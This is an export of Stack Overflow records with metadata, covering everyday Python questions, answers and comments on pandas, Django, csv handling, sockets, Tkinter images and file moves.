has title: Log in using Scrapy not working
answer count: 1

http://stackoverflow.com/comment/81459197
has text: What about `pip freeze --user`? That's the only other option that appears potentially relevant.
comment on: http://stackoverflow.com/q/47254311
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47238001
score: 23
answers question: http://stackoverflow.com/q/47237807
type: Answer
upvote count: 23
has body: There is already sqlitedict which appears to meet all your needs. From the documentation: from sqlitedict import SqliteDict mydict = SqliteDict('./my_db.sqlite', autocommit=True) mydict['some_key'] = any_picklable_object print(mydict['some_key']) # prints the new value for key, value in mydict.iteritems(): print(key, value) print(len(mydict)) # etc... all dict functions work mydict.close()
downvote count: 0

http://stackoverflow.com/comment/82027141
type: AnswerComment
comment on: http://stackoverflow.com/a/47530866
score: 0
type: Comment
has text: Now function creation is working but the source code doesn't upload to storage bucket!

http://stackoverflow.com/comment/81428111
has text: Got it. It's getting late in my time zone. ;)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47238822
score: 1

http://stackoverflow.com/comment/81481925
score: 0
has text: @devxplorer Sir, can you please answer how can I do that? because I tried order_by('-created_at') in data. But it's not working.
type: Comment
comment on: http://stackoverflow.com/q/47258858
type: QuestionComment

http://stackoverflow.com/comment/81562447
has text: Possible duplicate of [datetime from string in Python, best-guessing string format](https://stackoverflow.com/questions/9507648/datetime-from-string-in-python-best-guessing-string-format)
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47278134

http://stackoverflow.com/a/47362219
type: AcceptedAnswer
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47362104
type: Answer
accepted answer of: http://stackoverflow.com/q/47362104
has body: str.maketrans and str.translate are designed around problems like these: mapping one set of character onto another. from string import ascii_lowercase, ascii_uppercase from itertools import chain alphabets = [ascii_lowercase, ascii_uppercase] def shift(msg, rotate, alphabets): paired_letters = (zip(alphabet, alphabet[rotate:]+alphabet[:rotate]) for alphabet in alphabets) trans = str.maketrans(dict(chain.from_iterable(paired_letters))) return msg.translate(trans) print(shift('helL@', 2, alphabets)) will print jgnN@

http://stackoverflow.com/a/47941388
score: 0
has body: When you define setTicks you define every tick as major tick. If you instead give it two lists the second list will be for minor ticks, see: http://www.pyqtgraph.org/documentation/graphicsItems/axisitem.html#pyqtgraph.AxisItem.setTicks For your problem you could change xtickts to xtickts=[list(xDict.items())[::2], list(xDict.items())[1::2]] Then if you zoom the strings for the minorticks will become visible. Also same question: How to plot time series without showing all points?
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47373748
type: Answer
accepted answer of: http://stackoverflow.com/q/47373748

http://stackoverflow.com/comment/81510817
comment on: http://stackoverflow.com/q/47279878
type: Comment
type: QuestionComment
score: 0
has text: What's wrong with the method you show, used with something like `os.walk()`?

http://stackoverflow.com/comment/81612053
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47330352
type: AnswerComment
has text: @AntonvBR Now it does. ;)

http://stackoverflow.com/q/47231496
has comment: http://stackoverflow.com/comment/81414080
upvote count: 40
has answer: http://stackoverflow.com/a/47231867
possible better answer: http://stackoverflow.com/a/47231867
has comment: http://stackoverflow.com/comment/81413753
tagged with: python
has answer: http://stackoverflow.com/a/72048076
linked to: http://stackoverflow.com/q/19324453
has answer: http://stackoverflow.com/a/47231541
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47231541
answer count: 3
tagged with: pandas
has comment: http://stackoverflow.com/comment/81414132
has comment: http://stackoverflow.com/comment/81414167
downvote count: 0
score: 40
has body: I have a dataframe which has aggregated data for some days. I want to add in the missing days I was following another post, Add missing dates to pandas dataframe, unfortunately, it overwrote my results (maybe functionality was changed slightly?)... the code is below import random import datetime as dt import numpy as np import pandas as pd def generate_row(year, month, day): while True: date = dt.datetime(year=year, month=month, day=day) data = np.random.random(size=4) yield [date] + list(data) # days I have data for dates = [(2000, 1, 1), (2000, 1, 2), (2000, 2, 4)] generators = [generate_row(*date) for date in dates] # get 5 data points for each data = [next(generator) for generator in generators for _ in range(5)] df = pd.DataFrame(data, columns=['date'] + ['f'+str(i) for i in range(1,5)]) # df groupby_day = df.groupby(pd.PeriodIndex(data=df.date, freq='D')) results = groupby_day.sum() idx = pd.date_range(min(df.date), max(df.date)) results.reindex(idx, fill_value=0) Results before filling in missing date indices Results after
has title: pandas fill missing dates in time series
favorite count: 0
type: Question

http://stackoverflow.com/a/47296655
has comment: http://stackoverflow.com/comment/81566715
answers question: http://stackoverflow.com/q/47262474
upvote count: 1
downvote count: 1
has body: Personally speaking, if you drill into your head the PEP8 than most of the time syntax will come naturally i.e. like touch typing. However, most of you know multiple languages so I can imagine it get hard remembering all :)
type: Answer
score: 0

http://stackoverflow.com/q/47288025
favorite count: 0
accepted answer: http://stackoverflow.com/a/47288281
type: Question
type: AnsweredQuestion
has title: how to correctly handle csv.reader headers
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81526762
has body: When reading csv files, sometimes the first row (or more than one) are headers that we don't want to include in our data. If I don't need the data from the headers I just use next before declaring the reader (if more than one row is used for headers I can call next multiple times): with open('myfile.csv', 'rb') as f: next(f) #skip first row reader = csv.reader(f) for row in reader: #process my data Sometimes however I don't want to include the headers in my data but still need their values. In that case I transform the csv.reader into a list and handle the headers separately. with open('myfile.csv', 'rb') as f: reader = list(csv.reader(f)) my_header = reader.pop(0) #remove header for row in reader: #process my data This works and I'm happy about it. But I'm not sure if it's the "best practice" way of using csv.reader and there are other ways worth exploring.
has answer: http://stackoverflow.com/a/47289245
tagged with: python
linked to: http://stackoverflow.com/q/11349333
answer count: 2
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81526408
has comment: http://stackoverflow.com/comment/95123498
downvote count: 0
possible better answer: http://stackoverflow.com/a/47289245
has answer: http://stackoverflow.com/a/47288281

http://stackoverflow.com/comment/81515732
type: QuestionComment
type: Comment
score: 0
has text: The error message implies there's a problem separate from the one you're asking about. What does this `TEST` table look like? `SHOW CREATE TABLE TEST\G`
comment on: http://stackoverflow.com/q/47281931

http://stackoverflow.com/a/68032772
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47257766
has comment: http://stackoverflow.com/comment/120480939
has body: Works also for Python 3.9 sudo apt-get install python3.9-dev
type: Answer

http://stackoverflow.com/a/47242425
type: Answer
answers question: http://stackoverflow.com/q/47242038
has body: From your question, it is not clear what is your exact input and what is the expected output. You didn't mention what the third column means in the input text file. Besides, your program has severe problems. I am guessing you are trying to store the input graph as follows. lines = [(31, 1262, -1), (531, 13930, 1), (531, 16139, -1), (531, 17567, 1), (531, 20653, 1)] start_vertex, end_vertex = [], [] for line in lines: start_vertex.append(line[0]) end_vertex.append(line[1]) graph = {} for i in range(len(lines)): v = start_vertex[i] if v in graph: graph[v] |= set([end_vertex[i]]) else: graph[v] = set([end_vertex[i]]) print(graph) Output: {531: {13930, 16139, 20653, 17567}, 31: {1262}} which is in the form: {start_v1: {end_v4, end_v5, ...}, start_v2: {end_v3}}.
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81447244
type: AnswerComment
has text: I didn't focus on the regex, but it's also _wrong_. Check my edit.
score: 0
comment on: http://stackoverflow.com/a/47242985
type: Comment

http://stackoverflow.com/comment/81688201
type: Comment
has text: you'd just actually use `.getsockname` to get the tuple countaining host,port that the socket is bound to.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47367902

http://stackoverflow.com/q/47257548
score: 4
type: AnsweredQuestion
answer count: 2
has body: I spent some time researching this and I just cannot work this out in my head. I run a program in its own directory home/program/core/main.py In main.py I try and import a module called my_module.py thats located in a different directory, say home/program/modules/my_module.py In main.py this is how I append to sys.path so the program can be run on anyone's machine (hopefully). import os.path import sys # This should give the path to home/program sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__), '..')) # Which it does when checking with print os.path.join(os.path.abspath(os.path.dirname(__file__), '..') # So now sys.path knows the location of where modules directory is, it should work right? import modules.my_module # &lt;----RAISES ImportError WHY? However if I simply do: sys.path.append('home/program/modules') import my_module It all works fine. But this is not ideal as it now depends on the fact that the program must exist under home/program.
has title: Python module importing with sys.path and os.path issue
downvote count: 0
has answer: http://stackoverflow.com/a/50509255
favorite count: 0
type: Question
upvote count: 4
tagged with: python-import
linked to: http://stackoverflow.com/q/67631
possible better answer: http://stackoverflow.com/a/50509255
tagged with: python
accepted answer: http://stackoverflow.com/a/47257584
has answer: http://stackoverflow.com/a/47257584

http://stackoverflow.com/q/47299949
linked to: http://stackoverflow.com/q/31995612
has answer: http://stackoverflow.com/a/47300166
tagged with: list
downvote count: 2
tagged with: for-loop
has answer: http://stackoverflow.com/a/47300001
upvote count: 1
tagged with: loops
has answer: http://stackoverflow.com/a/47300072
favorite count: 0
has comment: http://stackoverflow.com/comment/81551050
type: Question
has title: How to iterate a list within a list into columns?
has body: Suppose I have a list of numbers divided into 3 lists: numbers = [[0,1,2], [3,4,5], [6,7,8]] And I want to iterate through each 3 lists and divide them into columns: 0 1 2 3 4 5 6 7 8 How would I go about doing this? So far, I can only print out 1 column: for column in numbers[0:3]: column1 = column[0] print( column1 )
has comment: http://stackoverflow.com/comment/81551127
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/31995612
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47300438
answer count: 4

http://stackoverflow.com/q/47381909
score: 30
upvote count: 30
answer count: 3
has comment: http://stackoverflow.com/comment/81716428
accepted answer: http://stackoverflow.com/a/47381956
tagged with: python
has title: @staticmethod or function outside class?
has body: Assuming I have a class which requires a function (or should I say method) which is: independent from my class instance - doesn't need self argument; is called only inside my class object I won't need access to it at any point (to override it for example); should I (A) place it inside the class and mark it as a @staticmethod or should I (B) define it outside my class object (but in the same namespace)? Why? Example: class A: def __init__(self, my_int): self.my_int = my_int def my_int_and_4(self): print(self.adder(self.my_int,4)) @staticmethod def adder(a,b): return a+b or def adder(a,b): return a+b class B: def __init__(self, my_int): self.my_int = my_int def my_int_and_4(self): print(adder(self.my_int,4)) EDIT: maybe the example is a bit oversimplified. I should have added that my version of "adder" is specificly used with my class and in no other case.
type: AnsweredQuestion
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/47382321
has answer: http://stackoverflow.com/a/47382038
has answer: http://stackoverflow.com/a/47382321
downvote count: 0
has answer: http://stackoverflow.com/a/47381956
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81716518

http://stackoverflow.com/q/47364215
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47364770
tagged with: python-3.x
has body: I'm working on a Django application which fetches JSON data from an API and stores it in PostgreSQL database. But while migrating the app I'm getting this error: KeyError: 'locations' Here's the traceback: Traceback (most recent call last): File "manage.py", line 22, in &lt;module&gt; execute_from_command_line(sys.argv) File "/python/lib/python3.6/site-packages/django/core/management/__init__.py", line 363, in execute_from_command_line utility.execute() File "/python/lib/python3.6/site-packages/django/core/management/__init__.py", line 355, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "/python/lib/python3.6/site-packages/django/core/management/base.py", line 283, in run_from_argv self.execute(*args, **cmd_options) File "/python/lib/python3.6/site-packages/django/core/management/base.py", line 330, in execute output = self.handle(*args, **options) File "/app/aggregator/WorldBank/management/commands/fetch_wb.py", line 23, in handle locations = data['locations'], KeyError: 'locations' How to fix this problem? Here's my code for models.py: from django.db import models from django.contrib.postgres.fields import JSONField class Projects(models.Model): data = JSONField(null=True) project_id=models.CharField(max_length=255) project_name=models.CharField(max_length=255) status=models.CharField(max_length=255) country=models.CharField(max_length=255) locations=JSONField() mjtheme=models.CharField(max_length=255) project_docs=JSONField() source=models.CharField(max_length=255) mjtheme_namecode=models.CharField(max_length=255) docty=models.TextField() countryname=models.CharField(max_length=255) countrycode=models.CharField(max_length=255) themecode=models.CharField(max_length=255) theme_namecode=models.CharField(max_length=255) project_url=models.TextField() totalcommamt=models.CharField(max_length=255) mjthemecode=models.CharField(max_length=255) sector1=models.CharField(max_length=255) theme1=models.CharField(max_length=255) theme2=models.CharField…
answer count: 1
downvote count: 0
upvote count: 1
tagged with: django
type: AnsweredQuestion
tagged with: postgresql
score: 1
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/81682130
accepted answer: http://stackoverflow.com/a/47364770
has title: KeyError: 'locations' in Django app

http://stackoverflow.com/comment/81629329
score: 0
type: Comment
type: QuestionComment
has text: Then you don't need to bother about speed now as you are testing with small input. When you will do a large-scale experiment, you will ultimately see the advantage of using GPU.
comment on: http://stackoverflow.com/q/47319704

http://stackoverflow.com/comment/81434806
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47238917
has text: works great, but for some values the corrector gives negative std. e.g. for the following inputs: 0, 0.08838834764831845, -0.1767766952966369, 0.1767766952966369
type: Comment

http://stackoverflow.com/comment/81433125
has text: @VictorG.thanks for the follow-up. It's hard to say without being able to run your code, but does `print(all(isinstance(B[i][j], list) for i in range(m+1)))` display `True` (for all used values of `j`)?
type: Comment
comment on: http://stackoverflow.com/q/47239818
score: 0
type: QuestionComment

http://stackoverflow.com/q/47333227
upvote count: 122
has answer: http://stackoverflow.com/a/47333724
has title: Pandas: ValueError: cannot convert float NaN to integer
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/98091487
has body: I get ValueError: cannot convert float NaN to integer for following: df = pandas.read_csv('zoom11.csv') df'x' = df'x'.astype(int) The "x" is a column in the csv file, I cannot spot any float NaN in the file, and I don't understand the error or why I am getting it. When I read the column as String, then it has values like -1,0,1,...2000, all look very nice int numbers to me. When I read the column as float, then this can be loaded. Then it shows values as -1.0,0.0 etc, still there are no any NaN-s I tried with error_bad_lines = False and dtype parameter in read_csv to no avail. It just cancels loading with same exception. The file is not small (10+ M rows), so cannot inspect it manually, when I extract a small header part, then there is no error, but it happens with full file. So it is something in the file, but cannot detect what. Logically the csv should not have missing values, but even if there is some garbage then I would be ok to skip the rows. Or at least identify them, but I do not see way to scan through file and report conversion errors. Update: Using the hints in comments/answers I got my data clean with this: # x contained NaN df = df[~df['x'].isnull()] # Y contained some other garbage, so null check was not enough df = df[df['y'].str.isnumeric()] # final conversion now worked df'x' = df'x'.astype(int) df'y' = df'y'.astype(int)
has comment: http://stackoverflow.com/comment/81618491
downvote count: 0
possible better answer: http://stackoverflow.com/a/55704512
has comment: http://stackoverflow.com/comment/81617598
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/60110465
has answer: http://stackoverflow.com/a/51384520
linked to: http://stackoverflow.com/q/10867028
has comment: http://stackoverflow.com/comment/81617545
has answer: http://stackoverflow.com/a/55704512
has comment: http://stackoverflow.com/comment/81618412
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/55886980
has answer: http://stackoverflow.com/a/78938530
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
score: 122
accepted answer: http://stackoverflow.com/a/47333724
has comment: http://stackoverflow.com/comment/124358726
has comment: http://stackoverflow.com/comment/133415618

http://stackoverflow.com/q/47268554
tagged with: python-2.7
answer count: 2
upvote count: 0
tagged with: loops
downvote count: 1
has answer: http://stackoverflow.com/a/47269036
favorite count: 0
tagged with: iteration
type: Question
tagged with: http://stackoverflow.com/tag/csv
possible better answer: http://stackoverflow.com/a/47268804
accepted answer: http://stackoverflow.com/a/47269036
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47268804
has comment: http://stackoverflow.com/comment/81488072
has body: I have the following Python 2.7 script: import urllib as ul tracking_id = "abcde==" encodedtrackingid = ul.quote(tracking_id) mcid = "123456" URL = "https://example.com/id?abcd&amp;d_mid="+mcid+"&amp;=124"+encodedtrackingid+"%011" print URL from mechanize import Browser br = Browser() br.set_handle_robots(False) response = br.open(URL) print response.read() import requests url = "https://example.net/rest/v1/mbox/4513452615415" querystring = {"client":"example"} payload = "{\r\n \"mbox\" : \"example\",\r\n\"CloudVisitorId\":\""+mcid+"\",\r\n \"thirdPartyId\": \""+tracking_id+"\",\r\n \"contentAsJson\": \"true\",\r\n \"mboxParameters\": \r\n { \r\n \"mboxMCGLH\": \"6\" \r\n }\r\n}\r\n" headers = { 'content-type': "application/json", 'cache-control': "no-cache", 'postman-token': "289879f645d-1543-e6df-87fb-1cef88f55110c5" } response = requests.request("POST", url, data=payload, headers=headers, params=querystring) print(response.text) What I want to do is the following: a) Repeat this script by updating the tracking_id and the mcid variable from a CSV file. The CSV file has no headers and has the following columns: Column: A - tracking_id Column: B - mcid I need the script to read the CSV file run the script for row 1, then repeat the same process for row2, row3, row4 etc. Each time the script runs the tracking_id and the mcid variable updates, and the output of the response variable is stored into a CSV file. The end result would be a CSV file that would have the following: Column A - tracking_id Column B - mcid Column C - response Any help is much appreciated. Thanks
has title: How do I read CSV file row by row and update Python script?
type: AnsweredQuestion

http://stackoverflow.com/comment/81630029
type: Comment
comment on: http://stackoverflow.com/q/47338665
score: 0
type: QuestionComment
has text: Can you give an example of a password that results in multiple messages displayed?

http://stackoverflow.com/comment/81408124
score: 1
type: Comment
has text: er, what do you want to do here? Why `itertools`? Add a print statement to see what you're actually trying to pass to `ws.iter_rows()`
type: QuestionComment
comment on: http://stackoverflow.com/q/47228362

http://stackoverflow.com/q/47329096
answer count: 1
has title: Perform lookup and update within a single Django query
tagged with: django
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47332720
tagged with: postgresql
tagged with: python
has body: I have two models: MetaModel and RelatedModel. I want to include the result of a RelatedModel lookup within a MetaModel query, and I'd like to do this within a single DB call. I've tried to define a 'subquery' QuerySet for use in the main query, but that hasn't worked - it's still making two queries to complete the operation. Note: I can't use a traditional ForeignKey relationship because the profile_id field is not unique. Uniqueness is a combination of profile_id and channel. This is an aggregation table and profile_id is not guaranteed to be unique across multiple third-party channels. Any suggestions? Models: class Channel(models.Model): id = models.AutoField(primary_key=True) name = models.CharField( max_length=25, ) class MetaModel(models.Model): profile_id = fields.IntegerField() channel = fields.ForeignKey(Channel)) metadata = fields.TextField() class RelatedModel(models.Model): related_id = fields.IntegerField() profile_id = fields.IntegerField() channel = fields.ForeignKey(Channel)) Dummy data channel = Channel("Web site A") channel.save() sample_meta = MetaModel(profile_id=1234, channel=channel) sample_related = RelatedModel(profile_id=1234, related_id=5678, channel=channel) Query: # Create a queryset to filter down to the single record we need the `profile_id` for # I've limited to the only field we need via a `values` operation related_qs = RelatedAccount.objects.filter( related_id=5678, channel=channel ).values_list("profile_id", flat=True) # I'm doing an update_or_create as there is other data to store, not included for brevity obj, created = MetaModel.objects.update_or_create( profile_id=related_qs.first(), # &lt;&lt;&lt; This var is the dynamic part of the query channel=channel, defaults={"metadata": "Metadata is added to a new or existing record."} )
score: 2
upvote count: 2
downvote count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/81487014
has text: @danny What exactly is untrue?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47267953

http://stackoverflow.com/comment/81531222
type: QuestionComment
has text: Welcome to SO. Please be so kind and add any relevant code you have by editing the question, so we can help you fix the problem!
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47289692

http://stackoverflow.com/comment/81658139
type: Comment
type: QuestionComment
has text: I don't think you need to ignore ALLOWED_HOSTS, doesn't the browser provide a valid Host header? Anyway, have you seen the[`check_request_enabled` signal](https://github.com/ottoyiu/django-cors-headers#signals)? Sounds like exactly what you ask for
comment on: http://stackoverflow.com/q/47352696
score: 1

http://stackoverflow.com/a/75542859
upvote count: 7
has body: To answer the original question directly: Tkinter does not currently support JPG images, and PNG support is dependent on the system's version of Tcl/Tk - a separate library, written in C, which Python interfaces with through Tkinter (hence the "inter" part). The popular third-party library pillow provides a drop-in replacement for the Tkinter PhotoImage class, allowing it to support many more image formats. Image formats supported by Tkinter The Tcl/Tk manual describes support for two separate image types - bitmap and photo - described thus: A bitmap is an image whose pixels can display either of two colors or be transparent. A photo is an image whose pixels can display any color or be transparent. A photo image is stored internally in full color (32 bits per pixel), and is displayed using dithering if necessary. These are reflected in Tkinter as the BitmapImage and PhotoImage classes, respectively. The formats supported by Tkinter will depend slightly on what version of Tcl/Tk is installed. However, starting with 3.10, a threaded build of Tcl/Tk 8.6 is included with official Python binary releases The Python Tkinter documentation is mainly focused on explaining functionality that Tkinter adds on top of Tcl/Tk. For most things, the user is expected to refer to the Tcl/Tk documentation (or third-party sources; the Python documentation offers a few suggestions) and understand how the interface works generally. As pointed out by Donal Fellows on another Stack Overflow question, Tcl/Tk cannot handle individual memory allocations over about 2GB, which theoretically limits image sizes. The BitmapImage class Tcl/Tk bitmaps are much more limited than photos, so practically speaking, PhotoImage will be used much more often. But for completeness: BitmapImage supports BMP (cross-platform), XPM (for pixmap / colored bitmaps, mainly on X11) and ICO formats (ICO is a special bitmap mostly used for Windows icons). The PhotoImage class As explained in the Tcl/Tk documentation, a ph…
score: 7
type: Answer
answers question: http://stackoverflow.com/q/47357090
downvote count: 0

http://stackoverflow.com/comment/81433268
type: QuestionComment
comment on: http://stackoverflow.com/q/47241005
score: 0
has text: You don't seem to be pointing the exec command to davidbien.wsgi
type: Comment

http://stackoverflow.com/comment/81441501
has text: How are handling the multiple images having same date?
score: 0
comment on: http://stackoverflow.com/q/47245545
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81541484
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47295091
has text: It's probably because casting int to float32 is considered unsafe by numpy (try 'np.can_cast(int, np.float32`)
score: 1

http://stackoverflow.com/q/47286678
has answer: http://stackoverflow.com/a/47286868
favorite count: 0
downvote count: 0
score: 1
has title: OSError: [Errno 99] Cannot assign requested address - py
has body: I just copied this code for a client/server example: http://www.bogotobogo.com/python/python_network_programming_server_client.php and when I run the code I get this error: OSError: [Errno 99] Cannot assign requested address Server: # server.py import socket import time # create a socket object serversocket = socket.socket( socket.AF_INET, socket.SOCK_STREAM) # get local machine name host = socket.gethostname() port = 9999 # bind to the port serversocket.bind((host, port)) # queue up to 5 requests serversocket.listen(5) while True: # establish a connection clientsocket,addr = serversocket.accept() print("Got a connection from %s" % str(addr)) currentTime = time.ctime(time.time()) + "\r\n" clientsocket.send(currentTime.encode('ascii')) clientsocket.close() Client: # client.py import socket # create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # get local machine name host = socket.gethostname() port = 9999 # connection to hostname on the port. s.connect((host, port)) # Receive no more than 1024 bytes tm = s.recv(1024) s.close() print("The time got from the server is %s" % tm.decode('ascii'))
type: Question
upvote count: 1
type: UnansweredQuestion
tagged with: sockets
answer count: 1
tagged with: python
linked to: http://stackoverflow.com/q/19246103
tagged with: ubuntu

http://stackoverflow.com/a/47364094
upvote count: 1
has body: The only way to do that in odoo is using a button to open the wizard but i'm a little bit confuesed here the field that you condition are in the order line not the order so when you say you want to open this wizard if this field are all true what do you mean exactly : 1 - if there is only one line that all the three field are true, you can open the wizard 2 - all the line in the order must have this three field then you can open the wizard. for bouth cases you can do some thing like that : 1 - create a boolean field in the order witch is compute field 2 - compute the value of the field based on condition 1 or 2 3 - add a button the the form of the order and show it only if the field is true. 4- don't forget to add this field too to the form so you can use it in attrs 5- in order define a method to open the wizard and pass the same context to wizard (active_id) in order form : &lt;field name="new_field" invisible="1"/&gt; &lt;button name="open_wizard" type="object" class="oe_highlight" attrs="{'readonly':[('new_field','=',True)]}" /&gt; in oreder: # note change the name of the method so you can understand you code next time ^^ @api.multi def open_wizard(self): """ open wizard for .... """ return { # pass the same context to access active_id 'context': self.env.context, 'name': 'Your title Here', 'view_type': 'form', 'view_mode': 'form', 'res_model': 'generate.print.order', 'type': 'ir.actions.act_window', } and for the field: new_field = fields.Boolean('check ...' , compute='check_fields', store=True) depends('line_ids', 'line_ids.is_binding', 'line_ids.is_edging', 'line_ids.is_book_block',) def check_fields(self): """ check fields""" for rec in self: if any( line.is_binding and line.is_edging and line.is_book_block for line in rec.order_lines): rec.new_field = True else: rec.new_field = False
accepted answer of: http://stackoverflow.com/q/47363393
type: Answer
has comment: http://stackoverflow.com/comment/81691796
answers question: http://stackoverflow.com/q/47363393
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81505835
type: QuestionComment
comment on: http://stackoverflow.com/q/47264343
type: Comment
has text: Can you provide a complete example that is runnable?
score: 0

http://stackoverflow.com/comment/81537143
score: 0
type: Comment
type: QuestionComment
has text: you are working with `list` objects, not arrays.
comment on: http://stackoverflow.com/q/47293151

http://stackoverflow.com/comment/81410532
score: 0
comment on: http://stackoverflow.com/q/47230013
type: QuestionComment
has text: Possible duplicate of [UnicodeEncodeError: 'ascii' codec can't encode character u'\xa0' in position 20: ordinal not in range(128)](https://stackoverflow.com/questions/9942594/unicodeencodeerror-ascii-codec-cant-encode-character-u-xa0-in-position-20)
type: Comment

http://stackoverflow.com/comment/81483315
type: AnswerComment
has text: Answer from server after adding that line is: HI!Array()
comment on: http://stackoverflow.com/a/47265743
type: Comment
score: 0

http://stackoverflow.com/a/47294324
type: Answer
accepted answer of: http://stackoverflow.com/q/47288391
has comment: http://stackoverflow.com/comment/81539829
upvote count: 3
answers question: http://stackoverflow.com/q/47288391
score: 3
type: AcceptedAnswer
downvote count: 0
has body: Python's DB API 2.0 specifies that, by default, connections should open with autocommit "off". This results in all database operations being performed in a transaction that must be explicitly committed (or rolled back) in the Python code. When a pyodbc connection with autocommit = False (the default) sends an UPDATE to the SQL Server, that UPDATE is enclosed in a Local Transaction managed by SQL Server. When the SQL Server determines that the target table is on a Linked Server it tries to promote the transaction to a Distributed Transaction managed by MSDTC. If the connection technology used to manage the Linked Server does not support Distributed Transactions then the operation will fail. This issue can often be avoided by ensuring that the pyodbc connection has autocommit enabled, either by cnxn = pyodbc.connect(conn_str, autocommit=True) or cnxn = pyodbc.connect(conn_str) cnxn.autocommit = True That will send each SQL statement individually, without being wrapped in an implicit transaction.

http://stackoverflow.com/a/47325165
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47325110
has comment: http://stackoverflow.com/comment/81602179
type: Answer
has comment: http://stackoverflow.com/comment/81602090
accepted answer of: http://stackoverflow.com/q/47325110
score: 1
has body: Option 1 Use pd.DataFrame.stack as it will dump np.nan for you. matrix.mask(mask).stack().values array([ 0.6022148 , -0.19275783, -0.54066832, 1.95690678, 0.23993172, 0.27107843, 2.29409865, -0.70446894, -0.93153835, -0.26430007, -0.29887114, 1.83132652, 1.54226746, 0.50651577, -0.51001179]) Option 2 Use np.where to identify the locations within the mask i, j = np.where(~mask) matrix.values[i, j] array([ 0.6022148 , -0.19275783, -0.54066832, 1.95690678, 0.23993172, 0.27107843, 2.29409865, -0.70446894, -0.93153835, -0.26430007, -0.29887114, 1.83132652, 1.54226746, 0.50651577, -0.51001179]) Option 2B Skip the mask and stick with the upper triangle. i, j = np.triu_indices(len(matrix)) matrix.values[i, j] array([ 0.6022148 , -0.19275783, -0.54066832, 1.95690678, 0.23993172, 0.27107843, 2.29409865, -0.70446894, -0.93153835, -0.26430007, -0.29887114, 1.83132652, 1.54226746, 0.50651577, -0.51001179])
type: AcceptedAnswer

http://stackoverflow.com/comment/81664177
comment on: http://stackoverflow.com/q/47355238
has text: Good job! @StevoMitric
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/81547514
type: Comment
comment on: http://stackoverflow.com/a/47289833
type: AnswerComment
has text: This solved the issue, thanks. As a note for future visitors, I also had to change `tf.uint8` to `tf.float32` in `dataset_input_fn`.
score: 3

http://stackoverflow.com/comment/81477006
has text: Does this help? http://docs.sympy.org/latest/modules/polys/wester.html#advanced-factoring-over-finite-fields
comment on: http://stackoverflow.com/q/47262626
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47259753
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47260005
has comment: http://stackoverflow.com/comment/81470288
downvote count: 0
has comment: http://stackoverflow.com/comment/81470395
accepted answer: http://stackoverflow.com/a/47260155
tagged with: python
type: Question
has body: I just want to move a file from one folder to another (already know how to do that) and in the process check all the files in the destination folder and delete the files with the same name. I have two folders /src and /dst. In folder /src I have: 'access.log.1.txt' and in folder /dst : 'access.log.1.20171110_115840565311.txt' 'access.log.1.20171110_115940565311.txt' 'access.log.2.20171110_115940565311.txt' When I move the file in /src to /dst I want to delete all the files named as the file in /src excluding the datetime() extension in the files of /dst. So the /dst folder should look like this after the execution: 'access.log.1.txt' 'access.log.2.20171110_115940565311.txt' This is the code I have to move files from /src to /dst: entrada = ENTRADA #This 3 are the paths to the folders /src salida = SALIDA # /dst error=ERROR # /err files=glob.glob(entrada) for file in files: fichero=open(file,encoding='utf-8') try: for line in fichero: la=line.replace("-","") li=la.replace('”'+chr(10),'') li=li.split('"') line_DB(li) fichero.close() if TIME_RENAME=='True': execution=str(datetime.now()) execution=execution.replace('.','') execution=execution.replace('-','') execution=execution.replace(' ','_') execution_time=execution.replace(':','') base = os.path.splitext(file)[0] base=base+'.'+execution_time+'.txt' os.rename(file,base) file=base else: print('Hello') #This is where I need the code shutil.move(file, salida) con.commit() except: logging.error(sys.exc_info()) print(sys.exc_info()) fichero.close() shutil.move(file, error) Anyone could help me? Thanks!!
answer count: 2
score: 5
upvote count: 5
has answer: http://stackoverflow.com/a/47260155
tagged with: file
has title: How can I replace a file if already exists in the destination folder?
tagged with: python-3.6
possible better answer: http://stackoverflow.com/a/47260005
favorite count: 0
has comment: http://stackoverflow.com/comment/81470253

http://stackoverflow.com/a/47300131
type: Answer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47299945
type: AcceptedAnswer
